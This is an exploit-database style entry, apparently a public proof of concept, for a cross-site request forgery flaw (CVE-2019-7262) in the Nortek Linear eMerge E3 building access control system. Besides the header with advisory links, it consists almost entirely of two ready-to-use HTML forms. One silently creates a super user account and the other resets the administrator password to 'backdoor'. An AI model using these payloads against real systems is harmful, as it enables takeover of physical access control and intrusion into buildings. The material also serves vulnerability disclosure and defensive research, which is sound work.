|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54  |  # Exploit Title: eMerge E3 1.00-06 - Cross-Site Request Forgery  # Google Dork: NA # Date: 2018-11-11 # Exploit Author: LiquidWorm # Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/ # Software Link: http://linear-solutions.com/nsc_family/e3-series/ # Version: 1.00-06 # Tested on: NA # CVE : CVE-2019-7262 # Advisory: https://applied-risk.com/resources/ar-2019-009 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # Advisory: https://applied-risk.com/resources/ar-2019-005 # PoC # Nortek Linear eMerge E3 Access Control Cross-Site Request Forgery <!-- CSRF Add Super User --> <html> <body>  <form action="http://192.168.1.2/?c=webuser&m=insert" method="POST">  <input type="hidden" name="No" value="" />  <input type="hidden" name="ID" value="hax0r" />  <input type="hidden" name="Password" value="hax1n" />  <input type="hidden" name="Name" value="CSRF" />  <input type="hidden" name="UserRole" value="1" />  <input type="hidden" name="Language" value="en" />  <input type="hidden" name="DefaultPage" value="sitemap" />  <input type="hidden" name="DefaultFloorNo" value="1" />  <input type="hidden" name="DefaultFloorState" value="1" />  <input type="hidden" name="AutoDisconnectTime" value="24" />  <input type="submit" value="Add Super User" />  </form> </body> </html> <!-- CSRF Change Admin Password --> <html> <body>  <form action="http://192.168.1.2/?c=webuser&m=update" method="POST">  <input type="hidden" name="No" value="1" />  <input type="hidden" name="ID" value="admin" />  <input type="hidden" name="Password" value="backdoor" />  <input type="hidden" name="Name" value="admin" />  <input type="hidden" name="UserRole" value="1" />  <input type="hidden" name="Language" value="en" />  <input type="hidden" name="DefaultPage" value="sitemap" />  <input type="hidden" name="DefaultFloorNo" value="1" />  <input type="hidden" name="DefaultFloorState" value="1" />  <input type="hidden" name="AutoDisconnectTime" value="24" />  <input type="submit" value="Change Admin Password" />  </form> </body> </html>  |